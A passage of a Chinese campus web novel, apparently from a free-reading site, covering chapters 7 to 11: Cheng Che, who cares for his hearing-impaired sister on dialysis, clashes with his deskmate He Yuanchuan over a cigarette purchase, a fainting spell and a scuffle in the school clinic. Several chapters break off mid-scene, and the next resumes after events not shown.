来打牌的有个不成文的规矩,桌上第一个自摸的得给主人家个几十块钱,这叫做头子钱,算是水果茶水与场地的报酬。 主人家头子钱拿着,就不能占位置,人够一桌时得主动烧烧茶水,人有事临时来不了,不够一桌了,便要自己上去凑个数。 客厅旁边就是程赴的房间,正对着楼梯,缩在那扇掉了漆的铁门后面。 院子中间有根水龙头,裸露在外的,长长的管子突兀地竖立在院子中。 程赴每次抱着他那个看不出颜色的铁桶和几根沧桑的画笔出来,叮呤咣啷洗的时候,江蔓都会抽空从客厅里朝着这边扔几句:“那地我才刷过!” 程赴耳朵塞了驴毛,像是根本没听见,留个后脑勺背对着客厅。污糟糟的颜料顺着水流淌了一地,从破了个角的下水道石板口漫下去。 桶拎出来什么样,拎回去就还是什么样,依旧看不出颜色,雾蒙蒙的颜料牢牢爬在上面,厚厚一层。笔头炸的更开。 桌上人抬起眼示意江曼,摆摆手,撂了张八饼,声音不大似是调侃:“害,老爷们画画赚钱,你刷点地还计较个什么哦。” 江蔓脸色不好看,但也没再吭声。 这会又听见楼下水龙头哗啦啦地开着,笔杆无规律地反复敲击铁桶。程澈伸手啪地关了灯,摸索着上了床。 他站在床上把被子朝地上踢。铁架子床和墙壁之间有块不算大的空隙,六七十厘米顶到天了。 被子一半铺在地上,一半折过来盖在肚脐上。他挤在这个小角落里,蜷缩成一团,昏昏沉沉地睡了。 程澈的睡眠质量一直很差,为了更快入睡,他尝试过很多办法。铁架子床原本底下是空的,扫干净后他曾经尝试过睡在床底下。 后来觉得不太吉利,作罢了,又索性用箱子把床底全填上,睡在这条小夹缝里,这样倒是能睡得着。 一觉睡到早上九点,程澈是被热醒的,也是被饿醒的。 半夜还能从纱窗外吹来点风,早上大太阳一出,连风也消失得无影无踪,随散着热气的地面一并蒸发了。 昨晚上他就没吃,此时饿的有点难受。程澈坐在那里发了一会愣,才慢吞吞地爬起,把被子从地上捡起来叠好。 下楼时太阳刺得他皱眉,伸手挡着光下来,江河已经站在水龙头下刷牙了。 江河过了好半晌才看见他。看见他先是高兴,咧着白花花的牙冲他笑,笑了会又突然停住,忘记漱口,没端着杯子的手抬起来指他的嘴,啊了几声。 程澈故意做了个夸张的滑稽表情,扯得嘴角疼,做完表情伸出食指贴在嘴边嘘了下,又“说”:多大个事儿,和蚊子亲的一样,别和他们说,不然哥又得挨骂。 江河连忙点头,往嘴里灌了一大口水,咕噜噜地含了半天。 江蔓虽是继母,就是嘴坏点,爱打麻将,其他方面做的事都说得过去,连偶尔从老家过来一趟的胡翠兰都对这个后儿媳挑不出什么太大的毛眼。 所以程澈有热乎饭吃,就是为了顾及江河,肉必须拿水焯一遍,盐也严格控量,不好吃。 家里的事,程赴除了画画其他是一概不管的,平时和这三人也基本没什么交流,沉默寡言,紧闭他那张房门,有时一连把自己关在房间里好些天,饭点也不见出来。 江蔓怕他把自己给饿死了,每天一边骂一边拉开窗户给程赴端点饭菜。 吃完饭程澈出了客厅,往那扇紧闭的房门上扫了眼,门锁着。 程赴外出是不锁门的,在家时才会锁。 他上楼梯回房间,从书包里把昨天小卖铺买的几根火腿肠掏出来,有一根从中间断了,在包装里顶着塑料皮凸出一小块。 他伸手把这根变形的给挑了出来,叼进嘴里,剩下的揣进口袋。 出门看见江河抱着书回房间,程澈“说”:到点了,药吃了吗。 江河点头,点完头盯着他嘴里叼着的火腿肠。 程澈知道她想吃,但不能给她。江河的饮食受严格把控,不能出丝毫的差错,一点细微的变化都足够引发一场巨变。 他“说”:哥喂猫去,听话,明天透完带你去玩。 江河又开心了。她特别容易满足,生活中的限制太多,这种出去玩的机会她非常珍惜,即使明天能够出门是因为她要去血透中心做透析。 楼下那几只猫没出来,程澈把嘴里叼着的那根吃完了,靠着墙等了会。 不一会,就从赵庆家小商店门口的树后面拱出两个脑袋,毛色和那晚围墙上的几只又不一样。 程澈从口袋把火腿肠掏出来,蹲着撕掉肠衣,掰成几块喂猫。其实猫吃火腿肠并不好,高盐高钠,容易对肾脏造成负担,程澈知道。 但程澈不喂,猫就去垃圾桶里吃垃圾,九月的天,垃圾桶里有各家各户的剩饭剩菜,围着嗡嗡的苍蝇,全是馊臭变质的。 “程澈啊,又来喂猫啊?帮叔看看这电视怎么突然没声了?”赵庆透着窗子朝外喊。 “啊。”程澈应,再抬头时挂着笑意,眼神却是淡的:“来了。” 今天的太阳比平常要晃人,程澈把塑料皮扔进垃圾桶,空气中充满了令人烦躁的暴晒过后的粉尘味。 脑袋里反复浮现巷口顿住脚步的那道身影。 程澈掀开帘子进小卖部,赵庆把遥控器递给他,絮絮叨叨地念些七零八碎的琐事。 程澈一句也没往耳朵里听,今天连搭腔的精力都挤不出来,摁了下解除静音模式后就把遥控器还给了赵庆。 赵庆笑了几声,“学习好,就是干什么事都快!” 7. 第7章 《狗百岁[校园]》全本免费阅读 贺远川出现在这儿纯属是个巧合。 周日他睡到快中午,被乔稚柏的电话吵醒,他趴在床上不想动,等着手机铃声自己响完。 谁知一曲结束,隔了几秒又开始响,他强睁开眼摸索着拿起床尾的手机,看了眼屏幕,手指划开接听,朝着电话那头发起床气:“你有病是不是,一上午打七个电话?” “哎呦爷,中午十二点了快,再不接电话我以为你睡死了呢!”乔稚柏切切实实地松了一大口气:“没吃呢吧,出来吃点?你家阿姨这几天请假,你没饭吃吧。” “不去。”贺远川看了眼外面明晃晃的太阳,“太热。” “饿死你得了,赶紧的,我爸让给我弟带点东西,等会到你家楼下接你,开车的,热不着。”乔稚柏说完就马不停蹄地挂了电话,没给他拒绝的机会。 乔稚柏的弟弟成绩差,马上快小升初了,每个周末被乔爸流放到清野镇的城东边上一对一辅导班,说是从外市特地请的名校教师。 半年补下来,成绩没见提升多少,周边几家好吃的店被摸了个遍。车将将停下来,贺远川就看见前面不远的屋檐底下站了个抱着书包的小豆丁,小学生模样,正伸着脖子大鹅一样朝车里探。 乔焕先看见了坐在副驾的乔稚柏,身子一懈就嚷嚷:“哥!我快饿晕了!” 乔稚柏和他斗嘴,说饿晕了怎么也没看见他躺在地上,乔焕扭着身子还想嚷,这时眼尖地看见后排还坐着一人,立刻站直溜了,也不嚷了,毕恭毕敬地叫了声:“远川哥哥好。” 乔稚柏在前面笑得上气不接下气,“看见没?谁都不怕,就怕你。” 贺远川没搭理他,开车门下车。 三人去吃了辅导班后面一家新开的拌饭,菜单上基本都是老板自己创新的菜式,小菜也是自家腌制,爽脆适口,看着平平无奇,一顿饭下来倒是挺惊艳。 吃完饭乔稚柏给司机打包了一份,三个人躲着太阳从树荫下原路返回。 乔稚柏哥俩的嘴一个比一个碎,一路上都在拌嘴,说着说着两人差点吵起来,贺远川在旁边默默地听,偶尔插几句话,他说话有奇效,乔焕一听就老实了。 乔稚柏笑得得意非凡:“贺远川,你真是克他。” 路上没什么人,后面驶过辆车,车速挺快,贺远川伸手捏着二人的衣服朝里侧拽拽,乔焕梗着脖子喊:“我那是尊敬,尊敬!” 拌饭店离他们的车不远,几分钟就走到了,乔稚柏从车后备箱拎出一兜子学习资料,递给乔焕:“喏,抱着,爸让带的。” 乔焕装听不见。 乔稚柏拨开他的手,把他死死抱住的书包拿过来拉开,不顾阻拦将那一兜子学习资料贴心地全部装进书包,拉好拉链拍了拍,说:“每份挑一张试卷做,晚上回家我拍照发给他,也是爸说的。” 贺远川看着小哥俩,这会心情挺好。下午课点没到,来回赶路折腾人,他们就在车里开着空调坐了会。没多久乔焕就在副驾睡着了,乔稚柏也打了个哈欠,贺远川倒是不困,上午睡的足。 乔稚柏打完那个悠长的哈欠,咂咂嘴,说:“怎么这么渴,好像中午吃咸了。” 转过头问贺远川:“你渴不渴?” 他们中午是吃了不少店家自己拌的小菜,冰冰凉凉的,很适合这种天气吃,不知不觉就吃多了,但毕竟是盐腌制的,吃多了咸。 贺远川确实也有点口渴,他俩转头看了一圈,车上瓶装水之前喝完了,忘了补货。 乔稚柏摆摆手,手搭上车门说:“估计都渴了,我去拎一箱回来吧。” “我去吧。”贺远川看了他一眼:“我搬得动。” “我也搬得动,看不起谁呢!”乔稚柏压低声音反抗,说完又打了个哈欠。 贺远川笑了笑,开车门下去了。 他不是很常来这边,只和乔稚柏一起来过几次,每次来都是过来带乔焕吃饭,车接车送的,没怎么自己走过这边的路。 他一边走一边打量,这片建筑物不是很多,店铺倒是一溜排,但大多是些五金店和百货铺子,不卖箱装矿泉水。 前面不远有栋医院差不多的建筑,走近才看见上面挂着几个大字,大白天也亮着灯,有些笔画的灯管因老旧而闪烁,有几笔干脆不亮。 血透中心。 医院旁边应该会有商店。贺远川环顾一圈,见血透中心的左边有条约莫两米宽的小街,街对面也是一排店铺,有卖水果的还有卖衣服的。 贺远川抬起腿往那边走,心里盘算着等下再带点削好的水果回去。 大中午的没什么人,每家店里的老板都昏昏沉沉,有的干脆躺在躺椅上睡了。 经过一家小卖铺,玻璃柜前站着一个人,背影较瘦削,在白色衬衫下晃荡出利落的线条。 贺远川都已经走过去了,突然觉得那道身影莫名的眼熟,心下觉得奇怪,拔腿往后倒了几步。 那人一看就是个少年模样,脑袋后的碎发垂在细白的脖颈上,手指关节在玻璃柜的某处轻轻敲了敲,从贺远川的角度,刚好可以看见这人的侧脸,弧度流畅,嘴角向上弯,应该是在笑。 下一秒便听见那人笑着说:“给我爸买的。” 贺远川停住脚步,突然轻笑起来,昂头笑着看天上的飞鸟,心想他这个同桌可真是挺好玩的,看着一本正经,实际不怎么老实的。 他又想起巷子里靠着墙抽烟的那道身影,以及那个看垃圾的冷冰冰的眼神,心里的某块微微发痒,好奇与试探掺杂,揉合着一丝说不清道不明的恶趣味。 挺有意思。 他看见程澈从店里出来,应该是没买到烟,老板说要掏他身份证看呢。 贺远川发自内心地舒展开眉眼,看见这位吃瘪,不知为何他感到愉快。程澈站在店门口叹气,眼神带着烦躁胡乱向旁边扫。 贺远川立在那,正面站好,等待被发现。 胡乱扫视的眼神略过他,两秒后又迅速再次聚焦,那双桃花眸子猛地增大,不受控地牢牢粘在他身上。 鸟在头顶上唱着欢快的歌,贺远川觉得蛮悦耳,所以他突然想要往燃着的火上再浇上一把油。 “哟,同桌。”贺远川嘴角向上扬,看着对面那个明显愣住了的男孩,恶趣味地开口:“买烟呢。” - 8. 第8章 《狗百岁[校园]》全本免费阅读 乔稚柏身边还站着一人,程澈不用看都知道是谁。 他实在笑不出来,谁有他点背?他再一次觉得文理分科那天,毫不犹豫抱着书坐到那人旁边的自己是个傻比。 清野镇就这么大,清野中学也就这么大,没认识前,两人一次都没碰到过,坐了几天同桌,怎么连放假一天都能遇上个几次的? “啊,”他很勉强地笑了笑,怀中的书仿佛变得有千斤沉,有气无力地开口:“好巧。” 太巧了,让人想拍手叫绝的巧。 “太有缘了这不是,你来买书啊?”乔稚柏往程澈抱着的书看。 要不是他书包里翻不出一根还能写出墨的笔,他也不会来书店这种地方,和他气质不符,就是没想到八百年来一回还能撞见学霸。 程澈耷拉着眼皮子看了眼贺远川,这位看着…似乎心情也还不错。 程澈突然从心底溢出一种出奇的愤怒,他知道这事儿也确实怪不了人家,纯粹是自己脸黑。 但是被撞上是一回事,小卖部对面,那抹嘴角不知意味的笑又是另一回事了。 因为是周末,书店里人流量大,各个角落都人挤人,连结账都要排队。 程澈不想再与这俩人有更多的交流,扯着面部肌肉礼节性地向上提了提,接着身子碰碰江河,示意江河走了。 “你妹妹?很漂亮啊。”乔稚柏大咧咧地和他身后的江河打招呼:“哈咯,妹妹,我是你哥哥的朋友。” 乔稚柏挺喜欢程澈的,脾气好没架子的学霸,怎么看怎么顺眼,没有征求程澈意见,自顾自地划为了朋友行列。 江河头都没抬,脚步没有丝毫停顿,拽着程澈的衣角往前走。 乔稚柏摸摸鼻子,干笑说:“哈哈,小美女还有点高冷。” 程澈笑了笑,解释道:“不是故意不理你,她是没听见,我妹妹听力不太好。” 乔稚柏顿时有点手足无措,半夜醒来都要抽自己几嘴巴的程度。 他扭头看看身边站着的贺远川,旁边的人没有说话的意思,这很正常,说了话才不正常。 乔稚柏只能硬着头皮,很诚恳地说:“抱歉啊,我不知道。” “没事儿。”程澈说。 抱着书站了会,队伍慢慢往前。 把钱付完,拎着那一兜子书走到门口,程澈把东西放在地上,指指两人,弯腰对江河“说”:和哥哥同学挥手拜拜。 江河就弯着大眼睛和贺远川与乔稚柏挥手。乔稚柏赶紧回了个大大的挥手,一直没说话的贺远川也抬手朝小姑娘挥了挥。 程澈拉着江河出门的那一刻,热浪袭面而来,他想,真是孽缘。 回家时客厅里一桌麻将已经打起来了,天还没黑,江蔓站在厨房拎着电水壶往水瓶里充水,看来是今天人够了,江蔓没打上。 他俩中午透析完才去吃的饭,吃得晚,这会不饿。江蔓听见动静,透过窗户往这边看,看见是江河,在厨房里喊:“江河回来了?” 江河听不见,程澈替她应:“嗯。” 江蔓拎着充满了的水瓶出来往一楼客厅去,经过江河时把小姑娘往怀里拉了拉,手腾不出来,头没抬,问:“吃了?” 程澈说:“晚饭没吃。” 江蔓揽着江河进了客厅的里屋,牌桌上有人自摸了,高声喊:“终于给老子摸到一把,给牌子给牌子。” 旁边人不满,从桌下抽屉里数了几张纸牌扔到桌上,他们习惯用纸牌做注,最后再一起结算:“李姐又勒牌,听了好久也不见牌下来。” 江蔓让江河在里屋坐,出来拎着水瓶给每个人杯子里都添了热水。 程澈拎着那兜子书上了楼,拐弯时朝楼下铁门后的房间看了一眼。窗户里面有灯亮。 他把江河选的几本硬壳书从塑料袋里掏出来,放在江河的书桌上,关了门,之后拎着剩下的半兜子试卷回了房间。 打开台灯在老桌前坐下,椅子嘎吱响,他选了几张下午买的试卷开始认真地写。 他做的很认真,楼下依旧吵吵闹闹,几张试卷做完,天不知道什么时候已经完全黑下来。 程澈往床上一躺,掏出手机看,手机是程赴用剩下的,屏幕裂了条缝。 微信聊天框里没有几条消息,公众号推送,小程序广告,还有廖老师往九班的班级群里转发的几篇古诗词鉴赏。 班级群的顶端是廖老师开学那天发的公告,程澈草草瞄了眼,无非是让每位家长把群ID改成学生姓名。 程澈点开聊天框右上角的三个点,拉到最下,把“我在群里的昵称”那栏里的“cc”改成“程澈”。 几篇古诗词鉴赏看完,程澈准备退出微信,临划走前手指顿了顿,点开“查看更多群成员”,慢慢往下滑。 滑到“乔稚柏爸爸”时,看见“乔稚柏爸爸”的头像是工藤新一,个签是略中二的:一个帅哥罢了。 程澈笑了下,摇摇头,又往下滑,一直滑到底,才在最下面看见一个没有备注姓名的黑色头像。 名字也简单,一个“-”。 他点开头像,顺着黑色头像点进朋友圈。朋友圈很干脆的一条横线,这很正常毕竟不是好友。 背景也是一片黑,个签那块也是空空如也。 够神秘的。 他不是爱八卦翻看别人朋友圈的人,只是这种不对等的感觉让程澈不舒服。 他都快裸.奔了,然而这人除了知道他叫贺远川,家里有点钱之外,其他的都像笼在雾里,模糊不清。 程澈叹了口气,摁灭了屏幕,把手机往身旁一扔。晚饭没吃,他此时觉出点饿,肚子咕噜噜叫了几声,没在意。 江蔓是不会额外给他做饭的。程澈的热乎饭仅限于中午那一顿,早饭也能跟着江河吃点,但程澈基本不吃。 下午家里就会来人打牌,基本每天都到很晚,麻将声有时能一直持续到凌晨才清静。 不过程澈表示理解。这种有连接但不亲密的关系相处起来没有压力,况且江蔓毕竟不是他亲妈,他怎么能要求她事无巨细地承担起所有责任。 9. 低血糖 《狗百岁[校园]》全本免费阅读 日子过得快,转眼九月就到底了,天气已经不像刚开学时那样热,电风扇开的频率越来越低。 贺远川看着似乎并没有说出去的意思,日子相安无事地过,乔稚柏每天照常回头骚扰程澈,程澈就笑着答他的话。 程澈希望贺远川将秘密一辈子烂在心里,但他不相信贺远川的人品。 所以平日里他不去招惹这位,爱睡就睡,爱玩手机就玩,总的来说贺远川的一切都与他无关。 两人间虽然没有三八线这种幼稚的东西,但是泾渭分明,各不越界。 课间有时会有女生带着书来找程澈问题目,他拿笔不厌其烦地划重点,把结构和逻辑讲解得很清晰。 这种时候趴在桌上的贺远川才会动一动,慢条斯理地从桌洞摸出耳机戴上,脑袋一别背对程澈,一副被吵到了很烦的样子。 程澈耷拉着眼皮子往那边瞄一下,心想:怎么不吵死你。 程澈这种带有淡淡疏离感的温柔男孩挺讨同龄人的喜欢,旁边看着不好惹的酷哥贺远川同样如此。 所以很多时候女孩子借来问题目的名义,有的是来看程澈,有的是来看贺远川。 然而还有的其实是来看他们两个,一双眼睛从这个身上转到那个,又从那个身上转到这个,一个英气又柔和,一个硬朗难靠近,很是养眼。 程澈对此是一概不知的,只知道几个小姑娘问完题目后笑成一朵花,回去找同桌说悄悄话,几个人激动的直拍桌子。 程澈不知道她们激动的是什么。觉得可能是题目终于会做了太开心。 没几天就是国庆假期。 七天假的前一天,班里闹哄哄的,大家的人虽在教室里坐着,心早已雀跃地飞走,老师们骂了几句,没用,该吵还是吵。 也就作罢了。老师的心其实也早都一并飞走了,强撑着自己站在讲台再上一天课。 程澈昨晚又没吃。 程赴傍晚喝了酒回来,把家里好一通砸,几个打牌的一圈麻将没打完就走了。 江蔓忙活了一下午,连头子钱都没收回来,还要收拾一家的七零八落,气得大哭一场。 程澈听见楼下的争吵声,直接带着江河出去喂猫了,直到动静平息了才回来。 晚上一夜没睡沉,梦里的江蔓被人扯着头发往地上砸。 不一会,那张脸在梦中慢慢地变形扭曲,程澈眼睁睁看着那脸最终变成了傅萍,痛苦的,蹙眉的。 早上起来程澈就有点不舒服,也感到饿。 本打算到客厅拿个水煮蛋,还没进去便看见程赴和没事人一样坐在餐桌前吃饭,长发杂乱地堆在头上,穿着件松垮的不规则T恤,露出肩后的一片纹身。 整个人呈现种颓态,宿醉的模样。 江河坐在旁边低着头喝粥,蔫吧又小心翼翼,看着才像是那个犯了错的。 程澈把书包往肩上一背,抬腿就出了门。 一上午课他都不大精神,昨晚睡得不踏实,浑身是汗,早上起来冲了个澡,冲完太阳穴一阵阵的疼。 除此之外,他非常饿,前胸贴后背,肠胃蠕动,不时发出声响。 好在后排不算安静,掩盖了肚子偶尔响起的声音,刘俊那几个在桌子底下偷偷打扑克牌,打到激动处几个人差点吵起来。 多少还是怵贺远川,边吵边往这边看几眼,再压低音量。 最后被英语老师指着全体出去罚站了,几个大男孩在外面站一排。 刘俊同桌是个胖胖的男生,叫王杉,家里条件还不错,平时爱到校门口旁边的小商店里买零食,装满一口袋的。 人也大方,每次买点零食,到班级里给前后左右都分点。 青春期男孩子饭量大,饿得快,也经得起毒,中午还没放学就都饿了,给什么吃什么,肠胃硬的像块钢铁。 所以每天上午的最后一节课,最后面两排的男生腮帮子全都鼓得跟仓鼠一样,吃什么的都有,王杉什么都买。 有时候王杉买几条劲爽薄荷糖,到教室里也全被抢了,一帮子男生辣的嘶溜嘶溜的,都在吞口水,不知道的以为吸了。 没有学霸架子的程澈让他们觉得很好相处,每次分零食也往这边扔点,乔稚柏有时看见了,也会越过秦祎朝那边喊:“我的呢?我也要!” 王杉逗他,“叫哥。” 乔稚柏倒不是真缺这口零食,但他缺心眼子,钝感力超绝,大家都爱逗他,喊就喊:“杉哥,我要四份。” 要来的零食乔稚柏会给秦祎和后面两位都分点,王杉装不乐意:“你倒是会做顺水人情,那是你买的吗?” 乔稚柏嘴甜,义正言辞:“杉哥买的,杉哥大气。” 几个吵闹的一走,后排安静下来,程澈肚子偶尔发出的声响就变得十分明显。 今天老师都没讲什么内容,基本都是发些卷子,告诉大家假期怎样安排好时间。 程澈不用记笔记,作业各科老师晚上都会发群里,所以他就那样趴着,趴着趴着,感觉浑身有点难受,额头冒汗。 程澈觉得自己应该是低血糖了。 他坐直了些,伸手往桌洞里掏了掏,摸了半天摸到个硬壳的四方四正的东西。 掏出来一看,原来是大半个月的那封情书,未拆封地被他塞到书底下,没带回去过。 他把那情书又塞了回去。其实收到的情书他基本都没有看过,但如果当面收到,会很有礼貌且真诚地和对方说谢谢,这是一种最基本的尊重。 程澈看了眼黑板上挂着的钟,离放学还有一会。他在心里默默叹了口气,深呼吸了一口,想将胃里翻涌上来的灼烧感压下去。 时间变得异常的漫长,程澈从来没有这样期盼过放学铃。但是等待难熬,一分一秒都变得缓慢,难受的感觉越来越强烈,衬得太阳穴也开始发酸发胀。 他盯着书看,当书上的一行行字都开始变模糊的时候。 程澈想,完蛋,他要晕了。 将晕未晕的间隙,有什么东西抵着自己的嘴唇向内推。 附加一个柔软的触感,微凉。 程澈条件反射地张嘴,一颗硬物被塞进了口中。 下一秒 10. 打架 《狗百岁[校园]》全本免费阅读 程澈将那颗糖默默吃完,又看了会书,放学铃声一响他就已经将书包收拾好了。 然而贺远川今天倒是出奇的慢,铃声响完好一会也没见他动弹。 班里人都窜的差不多了,他仍然还是那个姿势趴着,一只手虚虚垂下桌。 睡着了么。 程澈正在犹豫要不要叫醒他。做为那颗糖的酬劳。 乔稚柏今天也没走,他约了贺远川去吃饭,看见程澈还站在那,奇怪地问:“怎么了,在看什么?” 程澈打心眼里松了口气,他不需要再提供叫醒服务,免除了良心上的折磨,抬手指指贺远川:“睡着了。” 乔稚柏拉长声音噢了一声,伸手拍拍桌上趴着的人:“兄弟,放学了,醒醒。” 没反应。 程澈站在一边,看乔稚柏和拍小狗似的又拍了拍贺远川的头,贺远川仍然一动不动。确定完毕后他抬头看程澈,见怪不怪地说: “完了,晕了。” 程澈:? 程澈张了张嘴,脑子有点反应不过来:“谁晕了?” 乔稚柏已经将贺远川从桌上扛了起来,程澈这才看见这人埋在桌下的脸,嘴唇发白且没什么血色。 额角有细细密密的汗,浸湿了眉上的碎发。 “他不吃早饭,估计又低血糖了,没事儿,他命硬,拖到校医室灌瓶葡萄糖就行了。” 乔稚柏累的吭哧吭哧的,说话都不利索了:“哎哟妈,我累死了要,你快搭把手。” 程澈的脑袋还是不转,木木地上前扛住半边,将贺远川的胳膊抬到自己肩上,两人像扛着麻袋把贺远川扛去了校医室。 校医室在操场前面,一楼有不少做值日的学生,两人扛着一袋水泥疾驰的样子一路自然收获了很多目光和讨论的声音。 程澈低头去看不断向后的地,耳边是乔稚柏连吭带喘的声音。 他架着那半袋水泥,闻着鼻尖那股若隐若现的洗衣粉味,贺远川的锁骨还是什么骨戳着他的肩,有点硌。 得,正好两清。 但是吧,这两清的又不够利索。那颗糖终归还是程澈吃了,所以贺远川才低血糖晕了。 程澈简直想吐出来还给他,他不想担这份人情。 快到地方时肩上动了动,贺远川迷迷糊糊地醒了。 醒来第一是觉得头疼欲裂,第二是觉得脚踝疼,两人光顾着他的头和胳膊,忘了人家腰下还长着两条腿,顺着地拖行。 贺远川咬着牙,双重重击下气若游丝:“卧槽——” 两人将人扛到校医室放下,校医衣服脱了一半,都准备去食堂了,见两人风风火火地拖着一人进来。 被拖着的那个嘴唇苍白脸色铁青,吓了一大跳,以为是在哪打架斗殴给人干晕了。 校医掰了根葡萄糖让贺远川喝,嘱咐他在隔间里躺着休息一会。 之后便看着门外两个站着的,还想说什么,乔稚柏赶紧说:“我们在这,你去吧。” 校医走后,乔稚柏也没有去校外吃饭的心思了,说要去食堂打饭。 他把书包从肩上取下来,手伸进去摸,边和程澈说:“你在这看着他,别让他跑了,我去买饭。” 程澈心说这是我看得住的吗。 乔稚柏从书包里摸出了开学后一回也没用过的饭卡,把书包往旁边一扔,说: “你也别回家了吧,我买三份,不早了,一来一回折腾人,你有没有什么想吃的?” 程澈说:“两份吧,我在这看一会,等你回来我再走。” 他不想和贺远川单独在一块待着。别扭。 但是要是真的拔腿就走,他又觉得这事儿做的不地道。 乔稚柏当程澈和他客气呢,大手一摆很是豪横: “跟我客气什么!我请你的,食堂人多,我回来还得一会,那我看着买了啊。” 说完就出门了。 程澈在门口的椅子上坐了会,校园里做值日的同学都回家了,此时学校里已经基本没什么人了。 隔间里什么动静都没有,程澈坐在那出神地看了会落在空地上的一只麻雀,突然站起身,往隔间里走。 别又晕了吧。 贺远川没晕,但并没有按照校医嘱咐的那样乖乖躺着,而是一只长腿撑着地,另一只脚跨踩在床边的凳子上,头正向下看。 程澈顺着目光往下,看见脚踝那的裤子被推上去一小块,露出皮肤上的一片红。 贺远川听见脚步声回过头,看他一眼,没说话,把脚放下了,裤子顺着重力滑下去。 程澈站也不是,出去也不是,贺远川靠在那没看他,场面一时间变得有些怪异。 这是他们两个人第一次真正意义上的独处,只有无尽的沉默。 老式盘钟在墙上一格格移动,向停滞的人证明时间没有被按下暂停键。 准确来说,程澈并不知道以何种态度单独面对贺远川,还是那副随和好学生的做派的话,太假,况且他也装不下去。 “你……”程澈张嘴,单音节抵住牙,刚说了个字就卡顿,不知道怎样继续。 想了想,他还是说了声谢。 空气安静了几秒后,贺远川才淡淡开口,目光不知落在哪儿。 嗓音有点发哑,叫他的名字:“程澈。” 程澈顿了下,抬头看他:“嗯?” “你是不是很讨厌我啊?”贺远川好像随口一问。 隔间里没有窗,光线照不进来,大白天也只能开着灯。 校医室的顶灯是用了很多年的白炽电灯棒,发黄,仔细些能看见灯棒里残存的各类虫子尸体。 不够亮的光从电灯棒下笼罩在贺远川的身上,柔和了边角线条。 片刻,程澈收回目光,“也不是。” 顿了顿,程澈抬起头,直视他:“讨厌算不上,只是看你有点不爽。” “嗯。”贺远川点头,说:“好像也没什么区别。” 程澈不说话了。 “你不累吗。”贺远川突然抛出没头没尾的一句。 但程澈知道他在说什么。 不累吗?这样表里不一,收起所有锋芒,轻声细语地生活,累啊,怎么不累,累得想死。 但是程澈没有选择。他这种人,只有将刺一点点磨掉,带着血吞下去,才能安稳活着。 程澈只说:“关你屁事。” 表面的和平逐步瓦解。程澈发现自己面对着这个人无法真的平和,只要看见贺远川,他的心里就生出痒痒的躁意,无路是出口。 “是不关。”贺远川又点头,话锋一转,不疾不徐地开口:“但这是有条件的,程澈。” 他盯着贺远川的唇,想听听这人还要说什么。 11. 误会 《狗百岁[校园]》全本免费阅读 这句话像一颗原子弹,咣地一声将静止的场面炸了个天翻地覆。 什么——什么玩意? 这是怎么就能得出这么个结论来了呢?? 程澈低头想,两个一起打吧,顺手的事。 贺远川倒是没说话,慢悠悠地站那把扣子扣好,什么也没解释。 倒显得他们俩人刚刚真的有什么。 程澈狠狠地翻了个白眼。 贺远川抬眼看看脸色煞白的乔稚柏,心里断定,自己就算是被绑架了,人贩子搁旁边哗哗数钱,乔稚柏都能搓着一双手,眼冒星星地夸: 大哥你数这么多钱干嘛啊,哈哈哈整这么客气,我们是学生用不了太多,够了够了,再多不好意思了。 看不出他刚刚挨打了吗?锁骨那的红印还没消呢,程澈这小子打人丝毫不留情的。 乔稚柏不知道这两人心里的盘算,心神不宁地把饭放到桌上,猛击了两下胸脯,才把那口气给舒匀称了: “吓死我了,我以为你们在那什么呢。” “哪什么?”贺远川像是根本听不懂,漫不经心,“听不懂。” 乔稚柏自然没敢说,刚刚一瞬间大脑自动延伸蹦出的画面多少有点不太健康。 便打马虎眼转移话题,招呼那边脸色铁青直直站着的电线桩子:“程澈过来,杵那边干嘛。” 吃,怎么不吃,乔稚柏来了后,两人都没再吭声,三人捧着饭吃,都饿了,一时间没人说话。 短暂的安静了会,乔稚柏鼓着满腮帮子饭,低头突然咂了声嘴,一琢磨终于觉出不对了: “欸还是不对啊——那你们既然不是那样,那刚刚你们抱一块是在干嘛啊?” “吃你的得了。”贺远川说。 乔稚柏看了看程澈红意未褪尽的脖子,又看了看贺远川满是褶皱的衬衣。 倒也不怪他多想。 这两人都不吃早饭,一个低血糖晕了刚醒,一个虽然没晕但也快了。 架是打到一块去了,但是不尽兴,也不干脆,推来搡去的,一个还骑在另一个身上,一问还都避而不谈。 程澈终于受不了这种误会:“在打架。” 乔稚柏的表情顿时变得很严肃。 他把嘴里的饭快速嚼完咽下去,手点了点坐在床边的那位,面色凝重地问程澈:“他欺负你,是吗?” 总不能是程澈把贺远川给打了吧?放屁!程澈这样的好学生,没有一点这样的可能。 程澈被呛到,咳了几声,乔稚柏的视线太过真挚热烈,照得他浑身不自在。 咳完目光下落,正对面床上坐着的人也抬了头,视线相撞,又很快移开。 程澈几口把饭吃完,收拾了下垃圾,直起身说:“谢谢你的饭,我就先回教室了。” “哦好,”乔稚柏倒是没想到他会急着要走,愣了两秒便很快点头。 确实是耽误了人家一中午时间,咽掉嘴里的食物说:“谢啥,这儿饭不好吃,下次请你出去吃。” 程澈没说好也没说不好,只是笑笑,便转身要往外走。 “别忘了。” 贺远川在身后慢悠悠说了句。 程澈脚步顿了下,头没回,出了校医室,身后乔稚柏茫然地问:“别忘什么?你和谁说话呢。” 走出去好一段距离了,还能听见乔稚柏大着嗓门嚷嚷,声音穿透力很强,程澈不想听也听见了: “我俩是不是兄弟?你就说是不是?” 之前空地上的那只灰肚子麻雀不见了,应该是飞走了。 清野中学大门口边上的门卫室看着已有不少年数,外墙发黄。程澈并没有按他说的回教室,而是穿过一连串的空教室,越过门卫室往校外走。 门锁着。 门卫大爷眼尖,透过窗户看见程澈,喊:“欸?你怎么没回家?” 程澈和大爷打了个招呼:“同桌生病了,我出去买点药。” 清野中学附近不远就有家药房,校医室不齐全的药品会让去药房买。 大爷又说了两句,给他开了门,这种理由怎么都不会被拒绝。 程澈确实是去买药,但不是给他的同桌,是给自己。早上开始到现在就一直不舒服,只是他没说。 骨头眼冒出酸溜溜的痛感,程澈每年换季必感冒一次,他觉得可能是抵抗力弱的关系。 九月底,天气已经不似刚开学时炎热,但正中午还是有大太阳,程澈顺着店铺檐下走,鼻子有点不通,吸了吸。 今天的天气比前几天要闷热,空气流转不动。 药房没什么人,只有个老板在,百无聊赖地玩着手机。 程澈从货架上拿了盒清热解毒感冒药,又从架台上拿了嗓子含片。 拿着东西去柜台,他掏出手机付钱,老板说了个金额,他嗯了声扫码。 叮一声,付款界面跳转出来,程澈低着头输入数字,输了第一个后,手指在屏幕上停顿了下。 程澈抬头,说:“抱歉啊,少点东西,稍等。” 